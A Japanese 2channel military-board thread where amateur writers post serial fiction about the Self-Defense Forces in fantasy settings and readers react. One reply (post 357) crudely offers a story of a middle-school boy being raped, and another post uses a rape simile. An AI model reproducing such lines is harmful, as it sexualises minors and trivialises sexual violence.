316 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 13:18:09 ID:???

 時は移って・・・

陸上自衛隊上層部の期待以上に、
「D」小隊と「小覇王」略して「小覇」は、その能力を「発揮」していた。
「 平和の旗手・ニッポン 」の名は世界の果てまでも届く有様であった。
・・・流石に鉄と血と泥の最前線で生き抜いてきた男だけはあった・・・。

の、だが・・・。

ぶっちゃけて言うと・・・

「小覇」はその余りの独断専行( に見える )が祟って、
政府上層部の不興を買ってしまったのであった。

また、「DAIDARA」の中身と正体を知る、
その他の権力者達や上級指揮官や各方面からも、
まるで嫁入り前の箱入り娘を強姦されたかのような怒りを買う始末であった。

 しかたなく陸上自衛隊上層部は、
同じく独断専行ばかりする「民間保護課長」略して「民間」と「小覇」の押さえに、
要人警護でこの世界に名を轟かしていた「ある有能な男」を、
「DAIDARA」小隊の2代目指揮官として派遣する事にした・・。

317 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 13:27:20 ID:???

「DAIDARA小隊」は、見事に復活した。

米国派遣の諜報網と現地部隊の指揮をとっていた彼の猛者は、
その抜群の交渉力と調整能力と語学力で「DAIDARA小隊」の信頼を回復、
その上タイミングもよくアラブの放蕩王子とじゃじゃ馬王女を救出した功績で、
「DAIDARA小隊」および「日本国と自衛隊」は、
某中東産油国某王国の絶大な信頼と後ろ盾を得たのであった。
 防衛費1%枠に縛られながらも、あらゆる艱難辛苦に耐えて、
自国兵器開発に努力し続けた全自衛隊の勝利の瞬間であった・・・。

318 名前: 名無し三等兵 2006/06/16(金) 13:28:57 ID:???

戦国自衛隊読めよ

319 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 13:39:04 ID:???

“ 新人(民間)!俺の後ろから離れるなよ! ”
「 あ−、いいねー。昔は熱かったなあ・・・ 」

 “新人(民間)”は、来る日も来る日も、
砂漠のオアシスのほとりに作られた豪華遊興施設(宮殿とプール)三昧であった。
もっとも、バックミュージックがわりの
過去の戦闘記録ビデオによる「実戦への研究」に抜かりは無かったのだが。

まあ、そんなことはどーでもいい。
任務の日々の溜まりに溜まった鬱憤もどこへやら。
日本国はこの3人の男に
( 某王国王族のプッシュに耐え切れず )なんと、半年間の有給休暇を!

 オアシスの外は、何処までも青い空が広がっていた。
そして音も無く灼熱の太陽光が、世界の総てに降り注いでいた。
そんな外の精妙で美しい光景の中で、
“民間”の脳裏の中・・もとい、目の前で、“小覇”殿が愉快でたまらなさそうに
1目惚れの女性と白いテラスの中で笑っている。

「 あのプロ10000人斬りの小覇殿が、ねえ・・・ 」

自爆テロ相次ぐ中東で、
例の「公開任務」に従事していたあの頃が、ちょっぴり懐かしい“新人(民間)”だった・・・。

320 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 13:48:18 ID:???

3機中、最も防弾装甲に優れている“小覇”機。
表には出ない海外任務で有名を馳せた“小覇”専用に特別に設計された、巨人機。
その小覇機と民間の機の主要武器は、巨大な盾と巨大なハリセンであった。

3機中、最も防弾装甲に優れる小覇機が、強固な盾を構えて突進してゆく。
それに捕獲性能に優れる民間の機が続く。
感覚的には殆ど「 ハエ叩き 」や「 ゴキ退治 」だった・・・。

 “民間”が民間人らしいノー天気ぶりを発揮している所に、

もう1人の上司、
“雲の上”から“お目付け役”として赴任してきた“上使”殿が、
例の中東某王国王族と和やかな歓談を続けながら此方にやってくる。
上使は1見、中東の王族特有の美しい顔立ちの彼ら王族に負けぬ美丈夫ぶりではあるが・・・
実戦中、200を超える膨大な監視カメラを掌握し、
作戦エリアで何かが僅かでも動こうものなら即座に
容赦無い灼熱の砂泥を叩き込む「恐ろしい人物」でもあった。

小隊の安全のためには、子ヌコですら容赦なく捻り潰せる男であった。
( 内心は涙に耐えぬ思いであろうけれど )

 街道という街道を「 耕して 」いったあの日々よ。
巨人機の背中にへんぽんと翻る「 白地に夜明けの太陽の旗 」が、
砂漠の灼熱の太陽よりも眩しかったあの日々よ。
砂漠の街道を駆け抜けるたびに、日本国と自衛隊の名声が砂漠の空よりも上がっていったあの日々よ。
「 テロ無血鎮圧 」の、今後2度と破られる事の無い記録を打ち立てたあの日々よ・・・。

321 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 14:00:58 ID:???

「 民間氏、準備はいいですか? 」

“ ボヤくな“小覇”!御前を晒せる訳があるかッ# ”
“ 新人(民間)!御前も黙れッ!不愉快だっ# ”

これから1生“異端”の2人の監視を押し付けられて、
全世界の紛争地や邦人救出にコキ使われ飛び回されるハメになっていた筈の彼は、
今や、某中東王国の特別顧問の地位にあった。噂ではこの国の王族に列されるという。
南米の非合法組織から「アークエンジェル(上級天使。略して上使)」とまで恐れられた彼の能力と、
悪名高い「D」小隊をこの位置にまで押し上げた調整力なれば、それもまた当然であったが・・・。
そういえば、先ほどまでの流暢な英語の会話からよくもまあ、
こうも簡単に日本語の会話に切り替えられるものだ・・・。

( 脳の中身を覗いてみたいものだ )

「 はい。何時でも出立可能であります 」

「 そう、それでは今夜8時に 」

上使は、王族もかくや、な優雅な会釈の後に、
某中東王国王族と和やかな会話を続けながら白亜と黄金の小宮殿へと消えていった。

砂漠の夜をまって(天然のクーラーの中で)、
「DAIDARA小隊」と「日本国自衛隊」に与えられた
広大な敷地( 巨人兵用戦闘訓練場。総合火器訓練場を兼ねる )の整備。

そして闇の中の実戦訓練。

民間でも有り得ない半年休暇の最中だろうが、
死ぬまで優雅な生活が約束されていようが、結局、そういう事をしている「3人」であった。

322 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 14:28:28 ID:???

投下終了です。m()m
適当な頃合を見てゴーレム戦やらドラゴン戦が出てきます〜。

@戦国自衛隊
〇〇兵が、ちょっと強すぎだな、とか思っていました。
でも〇〇でコントロールというのは成る程〜と思ったり。

ストーリー上仕方の無い事でありましたが、
ABCDE・・が悲しかったですね。
特に1人で残ったCの方と、差し伸べられた手を拒否したAの悲しみが。

ageはミスでした。すみませんでしたです。m()m

323 名前: 名無し三等兵 2006/06/16(金) 21:33:59 ID:???

ん?いつの間にここは電波板になったんだ?

324 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 21:59:57 ID:???

大丈夫。電波なのは私だけだから。他の職人さんの投下を待ってくださいまし。

325 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/16(金) 22:04:30 ID:???

まぁ電波かと言われれば私もそうかも。
とりあえず本日ROLを購入したので、もうちょい科学VS魔法をリアルにかけるよう頑張ってみます。
どうかそれまでご辛抱を>>323閣下

326 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 22:22:46 ID:???

電波なのは私だけですよw間違い無い。
私も909殿みたいにスマートなやりとりを描きたいのですが〜。んー残念。

327 名前: 名無し三等兵 2006/06/16(金) 22:34:14 ID:???

大丈夫
話なんて多少電波なほうが面白い
ってか、フィクション書いてる時点で、大なり小なり電波が入るのは避けられないと思うぞ

328 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 22:44:03 ID:???

327殿ども〜。とイチオーの補足ですね。
二足歩行巨大ロボやエヴァモドキの今作の元ネタ、これ、前スレで
無名の職人さんが1発ネタで置いていってくれた小官殿関連ネタの小話でした。

これをこのスレ唯1人の電波の翡翠が加工して、
今回3作目となりましてござい。

と翡翠の言っている戦国自衛隊は、
原作とは別の作家さんが書いた“最新バージョンらしい”御話の奴です。
(黒いカバーの美品であります。)

329 名前: 名無し三等兵 2006/06/16(金) 23:50:53 ID:???

しかし、本家も分家も結構いい小説があるなあ。
本家では獣人の自衛隊や政府広報課氏も復帰してのSSラッシュ。
分家では皇軍の手に汗握るF世界戦略や、SSラノベの進化したF世界国家。
そして米機動部隊の連続する大海空戦。

いい時代になったものだ。・゚・(ノ∀`)・゚・。

330 名前: 名無し三等兵 2006/06/17(土) 09:28:28 ID:JZPnykmt

>>329
たしかにそうだね。今までで一番活発じゃないかな?
でも、気になることがある。分家、黒さんの影響大き杉。
新人さんは多かれ少なかれ影響受けてるような・・・

331 名前: 名無し三等兵 2006/06/17(土) 09:41:13 ID:???

異世界ではむしろ武器よりも知識の方が大きな価値を持つだろうな。
近代大量生産技術とか戦略 戦術とか武器の作り方や組織運用方法とか。

332 名前: 名無し三等兵 2006/06/17(土) 10:10:56 ID:???

エセックス級を撃沈するバーマントに燃え

333 名前: 名無し三等兵 2006/06/17(土) 10:11:51 ID:???

331読んでオーラバトラー戦記思い出した

最後が鬱出し脳だったけど フェラリオカワイソス・・・


334 名前: 名無し三等兵 2006/06/17(土) 10:38:16 ID:???

>>330
一世を風靡する作品というのは模倣される事も多いという事だろう。

過去の漫画やアニメでヒットした物に影響受けた作品は多いしね

まぁ、模倣が陳腐化したと認識されるまでは全体の流れの一つじゃないかな

335 名前: 名無し三等兵 2006/06/17(土) 12:53:06 ID:???

元1がまるち方面隊に載せた少女スナイパーの短編が読みたいのですが。

336 名前: 名無し三等兵 2006/06/17(土) 14:19:08 ID:???

Wikiに手持ちの小官SSの差分を貼っといた。

337 名前: 名無し三等兵 2006/06/17(土) 15:21:21 ID:???

分家の作品は、江戸城再建で読む気が失せた。

338 名前: 名無し三等兵 2006/06/17(土) 20:53:27 ID:???

あれ再建したという描写はあるの?なんか話が流れてそのままのような気がする。

339 名前: 名無し三等兵 2006/06/17(土) 21:06:52 ID:???

>>366 おつー

340 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/17(土) 22:42:04 ID:???

先日はどーも、寝てしまった漏れがきましたよっと。
今回も、ノリと即興でもって前回の続き書いときまつ | 柱 |_-)

さて、今回の書き下ろしでオチを付けられるか、楽しみです(ぉぃ

341 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/17(土) 23:01:13 ID:???

「南洋の朝」

 今日の授業は、2時限より野外観察が組まれていた。
学年合同授業とでも呼んでいい代物である。
だから、樹たちの鞄の中身が軽くなっている訳だった。

 野外観察として学校側が選んだのは、本島から少しばかり離れ
た島の一つだった。
野外観察というからには、生物学を初めとする自然科学が中心と
なる。

 とは言うものの、まったくの手付かずの島という訳ではなく、既に
陸自施設科の手によって海岸付近が整備され、海保の手によって
水測調査がある程度なされており、また水産庁資源管理部及び増
殖推進部と水産総合研究センターの合同による、南方諸島におけ
る海洋生物の調査が大雑把ではあるが、行われている。

342 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/17(土) 23:12:36 ID:???

 そんな島に樹たちは引率の教諭ともども、フェリーに乗り込んで
向かったのだった。
そんな事情だから、ちょっとした遠足気分も混じっているのは否定
できないが。

「いっこ、陸地が見えたよ」
「ほんとだ」
 友人の声に早瀬らが、島に眼を向けた。
フェリーが近づくにつれ、陸地が大きく広がっていく。
視線を上に向けると、緑に囲まれた山の頂が、視覚として飛び込ん
でくる。

 それほど、背が高いわけでもなく、どちらかというと中背――とはい
うもののこの年頃の女子としては、やや背が高いが――である樹は、
身を乗り出すようにして島をみつめた。

 船の前方から吹き付ける風が、樹のうなじのあたりで大雑把にまと
められた髪をなぶるように、吹き抜けていく。


343 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/17(土) 23:23:42 ID:???

 フェリーは海岸に近づくにつれゆっくりと速度を落としていった。
そうして、護岸整備された海岸に近づくとともに更に速度を落として、
海岸に平行になるように船を付け、その接岸による軽い衝撃が樹
らに伝わった。

 フェリーから降ろされた、梯子から陸地へと降り立った、早瀬ら
は引率の教諭らが取った点呼と、それに続く細々とした注意事項
をいささかうんざりしながら聞いた後、野外観察を始めたのだった。

その中で、樹とその友人は山での観察を選択した。
とは言うものの、道らしい道は全くないと言ってもいいから、当然
その裾野での植物の観察と採集という事となる。



344 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/17(土) 23:37:08 ID:???

 樹ら二人は、植物のスケッチやその状態を書き留めたり、また集めた
植物を袋に入れていった。

「これなんか初めてみるね」
 そう言いながら、二人の距離は離れつつもさりとて遠すぎない程度に
声が届く範囲で、観察を続けていた時だった。

 友人の耳に何かが滑り落ちる音と、そしてそれに重なるようにして響い
た声。
「いっこ!?ねぇ、いっこ!?」
 その声に導かれるかのようにして急いで、樹がいたと思われる場所に
駆け寄ったが、友人の目に飛び込んできたのは、足を滑らせたと思われ
る跡とそして、土をかぶった樹のスケッチブックと半分に折れた鉛筆だけ
だった。

345 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/17(土) 23:50:37 ID:???

「先生!・・・いっこが、いっこが!」
 半泣きになりながら友人が教師の元に戻ったとき、なぜ半泣きなのかが判らず、
落ち着かせて事情を聞きだした。
 涙声で詰まりながら事情を聞くにつれ、教師は顔を強張らせるとともに、他の教
師と手短に対応を決め、同僚とともに行方不明になった現場へと急ぐ。
 
「早瀬!」
「樹さん!」
 声を限りに叫んだが、その声は虚しく消えていった。
樹が足を滑らせたその下は、谷のようになっており、それなりの装備のない彼ら
ではどうする事もできなかった。

 彼らにできる事は野外観察を中止して、捜索隊を出してもらう事しかなかった。

 南方庁に生徒の一人が行方不明になったという連絡が入ったのは午後を過ぎ
てからだった。
本島につくやいなや、教師らが学校や警察に対して連絡し、その情報が南方庁
に回ったのである。

346 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/17(土) 23:58:49 ID:???

 だが、警察はとてもではないが、捜索隊を出すような人員のゆとりがなかった。
第一、谷底に下りられるような装備がなかった。
 そのため、南方庁は南方諸島に派遣されてきている陸上自衛隊に対して、出
動要請を行い、ここに消防と陸自との合同捜索が始まる事となった。

 そうして、樹が行方不明になった場所に彼らが到着したのは、17時をとうに回る
時間だった。

347 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/18(日) 00:01:05 ID:???

今回はここまで。。。

やっぱり即興で書いたから、句読点を打つ場所がおかしかったりするなぁ。。。

さて、次で完結できるかなぁ?
それが問題だorz

348 名前: 名無し三等兵 2006/06/18(日) 19:37:00 ID:???

即興で書いたにしてはすばらしすぎます!
「即興で書いた」なんて嘘なんじゃ・・・、と思ったりもするほど。

349 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/19(月) 15:58:19 ID:???

えーっと、鳥かえてみますた。
っと政府殿、これ序章の中盤なんですよね?
序章でこれだと・・本編ワクテカでありますですね

350 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/19(月) 16:19:47 ID:???

微修正をば。

南方庁教育委員会ではなく、南方暫定教育委員会でおながいしまつ

351 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/19(月) 16:49:12 ID:???

それでは携帯用案内板更新ですね。

>>301 WIKI殿、政府殿、エビ殿、てさ殿
>>302 元1殿
>>303 前スレ909殿
>>304 小官殿 翡翠

政府大本営殿
>>258-263
>>308-310
>>341-346

・▽・)ノ 皆様お疲れ様です

352 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/19(月) 20:16:19 ID:???

>っと政府殿、これ序章の中盤なんですよね?
>序章でこれだと・・本編ワクテカでありますですね

本人は短編のつもりで書いてんだけど、どうも中篇な感じのようです。
本当にありが(ry

353 名前: 名無し三等兵 2006/06/20(火) 02:11:51 ID:???

これは,マーズの書に述べられているものである.

天地創造の後,破壊神モーロック,創造主マルドゥークと違いして
反乱す.破壊神モーロック,マルドゥークの聖器のなかより,万物
の力の源「イェンダーの魔除け」を盗みだし,それを彼の潜む
世界の底,ゲヘナの闇の洞窟に隠し,時を待てり.

主神マーズは「魔除け」を望み,他の神々に対し
絶対的優勢を得ようとしている.

あなたは現在,まだ新米ではあるが,生まれたときからマーズ
の下僕と予言されている.主神のため,イェンダーの魔除けを発見
するか,そのために死ぬかが運命づけらている.あなたの運命の時
は来た!我々のために,マーズの加護のあらんことを!


354 名前: 名無し志願兵 2006/06/20(火) 02:14:34 ID:???

どももーおひさです

依然スレ応援FLASHを作りませんかと提案したものですが
協力してくれる絵師様やSS作者様いませんかね?w

落書き程度で、鉛筆書きの読み込みだけのものでも構わないので投下してもらえると
うれしいです
挿入してほしいテキスト文なども募集してみたり


355 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/20(火) 10:44:01 ID:???

志願兵さんお初〜当方が応じたいのですが
・自分の文は電波なのでw自粛
・絵は自分の環境と装備がオワットルwので残念!
何方か御時間の作れる方で装備+環境のある方がおられましたら面白そうですね。
軍板は板柄、文も絵も上手い人が多々居られますし。

356 名前: 名無し三等兵 2006/06/20(火) 14:45:21 ID:???

皆様、乙です。
所で、

(前略)
自分の命と彼女の人生を天秤にかけ、伸ばされた手が傷だらけの銃把に触れた時、
彼はこの物語の主人公になっていた。

こんな感じの文章が昔軍板のどっかに投下されたと思うんですが、誰か持っていませんか?


357 名前: 名無し三等兵 2006/06/20(火) 17:49:59 ID:???

>>356
「昔」の具体的な時期
「どっか」・・・せめてどのようなスレだったかぐらいは書けんのか?

取り敢えず俺が持ってるのは中学生の酷使キュンがシャワー室で普段馬鹿にしていた
キモデブオタにアナル犯されるってSSだが、それで良いのか?

358 名前: 名無し三等兵 2006/06/20(火) 19:18:57 ID:???

>>356
それって、陸自の先遣隊かなんかが主人が逃げた後のメイドが取り残された
館で篭城するSSのことかな。
SS保存庫で読んだ希ガス。

359 名前: 名無し三等兵 2006/06/20(火) 20:01:10 ID:???

>>358
元1のメイドの事かな

360 名前: 名無し三等兵 2006/06/20(火) 20:02:25 ID:???

元1にメイドなんているのかあのブルジョワめ!

361 名前: 名無し三等兵 2006/06/20(火) 20:20:17 ID:???

>>360
ヒント:wiki

362 名前: 名無し三等兵 2006/06/20(火) 20:24:53 ID:???

もしかして、ここにあるコレのことを言ってるの?
http://fwsdf.hp.infoseek.co.jp/cgi-bin/wiki/wiki.cgi?%A5%E1%A5%A4%A5%C9

363 名前: 名無し三等兵 2006/06/20(火) 21:13:09 ID:???

自衛隊がイラクから撤退が決定か

F世界でも最外派遣とか後方支援とかいう形で派遣されることはあるのだろうか
さすがに余裕がないので無理ぽ?

364 名前: 356 2006/06/21(水) 04:43:09 ID:???

>>357
すみません、漠然として覚えていないんです。
でも取り合えず違います。
>>358
ちがいます

物語の冒頭風味な短い文章だったんですが、状況は
突然始まった戦争、少年がクラスメートの少女の手を引きながら瓦礫の中を走っている

現れた兵士達に突撃銃で撃ちかけられ、また、息が切れていて限界に達した少女、躓いて気絶

兵士達は下卑びた笑いを浮かべながら近付いて来る。
辺りを見回した少年の目に、塵埃の中に打ち捨てられた突撃銃が飛び込んで来る。

自分の命と彼女の人生を天秤にかけ、伸ばされた手が傷だらけの銃把に触れた時、
彼はこの物語の主人公になっていた。 (原文まま、多分)

と言う感じでした。


365 名前: 名無し三等兵 2006/06/21(水) 06:32:23 ID:???

>>364
拾った銃がAKなら撃てる。それ以外なら…多分詰まっちゃってて撃てない。
どっちに当たるかは運次第。

366 名前: 名無し三等兵 2006/06/21(水) 20:02:17 ID:SLFRCKig

>>364
残念、それは私の62式言う事機関銃だ。全くないほうがマシンガン。

367 名前: 畠山 鈴香 2006/06/21(水) 20:49:44 ID:ybEmT1k5

ファンタジーに召喚されませんから


ーーーーーーーーーーーーーーー終了ーーーーーーーーーーーーーーーー

368 名前: 名無し三等兵 2006/06/21(水) 22:26:07 ID:???

再開

369 名前: 名無し三等兵 2006/06/21(水) 22:33:28 ID:???

久しいな、そのネタ(しみじみ

370 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/21(水) 23:32:39 ID:???

ショート 1

斎藤と今井がとある廃墟にやってきた。
廃墟の上空には、その街を滅ぼした火竜が我が物側で旋空している。
慎重な偵察の結果、火竜以外に敵性生物が存在しないらしいので攻撃開始。

したらば火竜の香具師、
摩訶不思議な力でバリアのような力場を張っている模様。

斎藤と今井がほうほうの態で逃げ出したのは言うまでも無い。

371 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/22(木) 00:05:39 ID:???

ショート 2

火竜のバリアに敗走を余儀なくされた斎藤と今井。
だが、そんな事で人喰いトカゲの討伐を諦めるような2人じゃない。

斎藤は自衛隊隊員としての誇りにかけて。
今井は異民族に泣きついてきた誇り高いエルフ族の美少女の手前で。

「どうする?」「陸自の砲列によるアウトレンジ」
「バリアが張っていてもか?」「陸自の砲なら打ち破れるのでは?」
「打ち破れなかった場合はまたアレだぞ?」「ではヘリの攻撃で。」

司令部の許可により貴重なヘリによる威力偵察が始まった。

だが、信じがたい事にヘリの火力でも火竜のバリアを打ち破れない。
小癪なヘリに激怒して猛然と追撃に移る火竜だったが、現代科学の粋たるヘリには追いつけない。

悔し紛れに火竜が火を吹いた。
全く、生物らしからぬ火炎放射器ぶりであった。

しかし・・バリアを解除するのを忘れていたらしい。

あれほど威風と荘厳を撒き散らしていた火竜が、
見るも無残に丸焼けのトカゲと化して落っこちてくるではないか。

火竜は、斎藤率いる陸自普通科の射撃の的と化して、
こんどは香具師の方がほうほうの態で逃げていく番となった。

路雄土巣島から再び別世界に飛ばされて、最初に得た勝利であった。

372 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/22(木) 00:11:40 ID:???

もっと笑わす話にしようと思っても残念かな。
下手に狙うよりはそのままに。ではまた。

373 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/22(木) 23:14:46 ID:???

ショート 3

路雄土巣島から別世界に飛ばされた自衛隊の駐屯地。
ここでは最近、ある困った事に悩まされ続けている。

「 偵察 」と称して
野外で実戦して回る斎藤と今井に倒された人外達がゾンビとなって、
自衛隊駐屯地を取り囲みだしたのであった。

もっとも、
この区域のゾンビ達は映画で見る標準タイプらしく、
「 う”〜 う”〜 」
と 唸ってばかりで大して強くは無い。

強くは無いのだが・・・毎夜毎夜、薄気味悪いったらありゃしない。

374 名前: 名無し三等兵 2006/06/22(木) 23:43:20 ID:???

元1は逃げたん?

375 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/22(木) 23:45:41 ID:???

ショート 4

「 ああ、〇〇に帰りたいな 」

最近、本田を悩ます「部下達の声」の最たるものは、
部下達の「 望郷の嘆き 」であった。

正直、環境がどうの、
敵性生物がどうの、弾薬燃料の残りがどうの、女がどうの。
そんなもんはナンとでも我慢できるが、望郷の念だけは、どうにもならない。

老いた父母がまだ健在な者たちの、声。
家に妻や生まれたばかりの赤子が待っている者たちの、声。

「 ウチの坊主、今度小学校に上がるんだ。 」
家族の写真を見つめて目を細めている部下達と、何もしてやれない自分。

本田だって、
家には妻子が、実家には両親が待っているのである。
部下の思いは痛い程解る。解るが、神ならぬ身にはどうにもできない問題だった。

最近は、部下に隠れて飲む酒の量も増えてしまった本田であった。

376 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/23(金) 00:08:29 ID:???

>>374
つ >>302 >>374 と分家とwiki殿のトコ
史実の連合艦隊と違って、Fスレの連合艦隊は必ずやってくるのでつ。
それまではワタスとラバウルで自給自足・食糧増産にいそしむのでつ。

377 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/23(金) 00:13:01 ID:???

△ = 374 と
〇 = 374殿の脳内SSと >>351

お詫びでもう1つ捻るのでおまちあれ。

378 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/23(金) 00:44:14 ID:???

ショート 5

「 本田隊長殿、やせましたですね 」

今朝も寸分の隙も無くビシッと決めている本田隊長。
全く惚れ惚れとする位、鑑になる男だった。

「 あれで隠しているつもりだからな 」

朝から、寸分の隙も無い本田である。

しかし、実は本田が部下に隠れて、
連日連夜したたかに酒を飲んでいる事に気付かない2人では、無い。

「 あれじゃ体壊しますよ 」「 言うな 」
「 女(おんな)顔負けの化粧上手ですが・・・さて 」
「 何か上手い手でもあるのか?隠さずに言えよ 」
「 本田隊長が女好きなら、サッキュバスでも何でも捕らえてきますがね・・・ 」
「 アイツはコレ1本だよ 」「 どうしましょうかね 」

どうにかしてやりたいが、どうにもできない。
・・・良い考えも浮かばない。

部下の前で精一杯、気を張っている本田。
その本田を見ていられなくて、
2人はその日もまた「 偵察 」と称して駐屯地の外に逃げ出すのであった・・・。

379 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/23(金) 00:49:19 ID:???

ショート 5

「 本田隊長殿、やせましたですね 」

今朝も寸分の隙も無くビシッと決めている本田隊長。
全く惚れ惚れとする位、鑑になる男だった。

「 あれで隠しているつもりだからな 」

朝から、寸分の隙も無い本田では、ある。

しかし、実は本田が部下に隠れて、
連日・精神安定剤や睡眠薬まで服用している事に気付かない2人では、無い。

「 あれじゃ体壊しますよ 」「 言うな 」
「 女(おんな)顔負けの化粧上手ですが・・・さて 」
「 何か上手い手でもあるのか?隠さずに言えよ 」
「 本田隊長が女好きなら、サッキュバスでも何でも捕らえてきますがね・・・ 」
「 アイツはコレ1本だよ 」「 どうしましょうかね 」

どうにかしてやりたいが、どうにもできない。
・・・良い考えも浮かばない・・・。

部下の前で精一杯、気を張っている本田。
そんな本田を見ていられなくて、
2人はその日もまた「 偵察 」と称して駐屯地の外に逃げ出すのであった・・・。

380 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/23(金) 00:58:27 ID:???

失礼、ちょと私のPCの調子がわるいでせう。

でもまあ、最初のショート 5 は、
「したたかに飲んで」これじゃ部下にまでバレバレ。
本田の部下全員を巻き込んでのプレゼント話になるのでこれでよかったのかも。
スレ汚し申し訳無い。
最初のショート5はなし。後のショート5が本筋ですね。

381 名前: 名無し三等兵 2006/06/23(金) 01:14:28 ID:???

もう少し状況説明をはっきりした方がヨイカナ
正直何を言いたいのかさっぱり分かりません
あと、書いた文章はある程度時間を置いて見直してから投下した方がヨイカナ


382 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/23(金) 02:25:04 ID:???

;^^)>”はは、すみませぬ・・
鋭意、なんとかします。

>状況
ほかの職人さんは解りやすさの改善の改善で時間がかかっていると思われ。
当方もそうですね。わかりやすい←これがムツカシイ
そんでもう、フィーリングは読んでいる人に丸投げで・・。
今居る会社の状況などなどにでも当てはめてもらっても。

>時間を置いて見直してから
m()mまったくであります

383 名前: 名無し三等兵 2006/06/23(金) 03:55:59 ID:???

>>381
きっぱりと、「ツマンネ」、と言わないお前やさしいな。器がでかいよ。

皆も声くらいかけてやれよ、頑張ってるんだしさ。乙ぐらい言おうよ。
…え?俺?やだよ絡まれそうだもん。

384 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/23(金) 10:44:30 ID:???

別に私のSSがつまらなくてもいいんだよw
私のはただの遅延投下なんだから。
そのうち他の工場から完成品も支給されてくるだろうから、まあ・・なんだw
それまで製作未完・整備不良の零戦で我慢していてくれ☆

385 名前: 名無し三等兵 2006/06/23(金) 12:35:56 ID:???

あ~、書いて下さるのは読み手としても嬉しいのですが……、エピを5話も一気に投下するなら、5話分の量を一話ずつ集中して書いて頂けると……ね?
あんまり片端から投下していくと、アイデア尽きるのも早いですよ-

386 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/23(金) 13:05:41 ID:???

オンボロ未整備機を片っ端から投入している身として、心から嬉しく思います・・。
m()m >>385様

387 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/06/23(金) 13:17:44 ID:???

ところで・・・そろそろ翡翠も、
烈風や紫電改の方々がここ本家スレに到着する頃だと思うのですよ。

そこで翡翠の384空は、
烈風や紫電改で統一された航空艦隊の邪魔にならぬように、
あの(^^)司令氏殿が立てたスレの整備(1000梅)に1時赴任しようと考えているのです。
宜しければ、ブーゲンビル(^^)司令氏スレの御視察も・・宜しくお願いいたします。
m()m

では・・・()>” 赴任してまいります。

388 名前: 名無し三等兵 2006/06/24(土) 14:43:20 ID:???

test

389 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/25(日) 01:09:33 ID:???

さぁて、毎度政府広報課あらため、大本営発表でつ。
今回もノリと即興を相棒にして書き込みまつ。
なお、誤字脱字は、即興のためご容赦願います(吐血

390 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/25(日) 01:17:20 ID:???

「南洋の朝」

 どのくらい気を失っていたのだろうか。
きわめてゆっくりではあったが、早瀬樹は腕をうごかして、まぶたをこすった。
のろのろと目を開けた樹は、ここがどこなのかすぐには判らず、ぼんやりと一
体どうしたのかと考える。

 樹の視界に飛び込んできたのは、緑色とこげ茶色が複雑に絡み合いなが
ら重なり合っていた。
目に飛び込んできたそれらは、有体に言えば植物だった。
樹は体を起こそうとしたのだが、痛みが走り、思わぬ痛みで顔を歪めてしまう。
だが、動かせないような痛みではない。

 痛みに顔をしかめつつ、体についた落ち葉や土を払いながら、ようよう落ちる
瞬間の事を思い出した。
 ・・・・・・そう言えば、写生しながら動いてるうちに、落ちたんだっけ。
 そうして、樹は自分が落ちてきたのではないかと思われる場所に視線を向け
る。

391 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/25(日) 01:30:41 ID:???

 そして、見上げた瞬間に、諦めの混じった息を吐き出した。
どのあたりから落ちたのか判らないぐらいに、山と崖が折り重なっていたのだ。
 どうすればいいのか、樹にはさっぱり判らず、困惑せざるを得なかった。
なにせ、樹は今まで、山登りなどした事がなかったのだから、当然といえば当
然だった。

 だから、沢に下りるのではなく尾根に登れば言いという事に思い至るはずもな
く、樹は諦めと痛みとそして落ちたショックによる困惑で頭がいっぱいだったか
ら、樹からして歩きやすい方に足を向けたのだった。

 そうこうするうちに、ゆっくりとではあるが、それまで短かった影が伸び始めて
くる。
ふと、空を見上げると、太陽がゆっくりと西に向かって傾き始めていたのだった。





392 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/25(日) 01:47:44 ID:???

 困惑と絶望感を背負って歩く事ほど、疲れやすくそして歩く速度も遅かった。
いつしか、太陽が西にかなり傾き夕日があたり一面を照らしていく中、樹は疲
れと空腹感からもはや歩く事はできずに、ちょうどいい大きさの幹の木に体を
預ける破目になった。

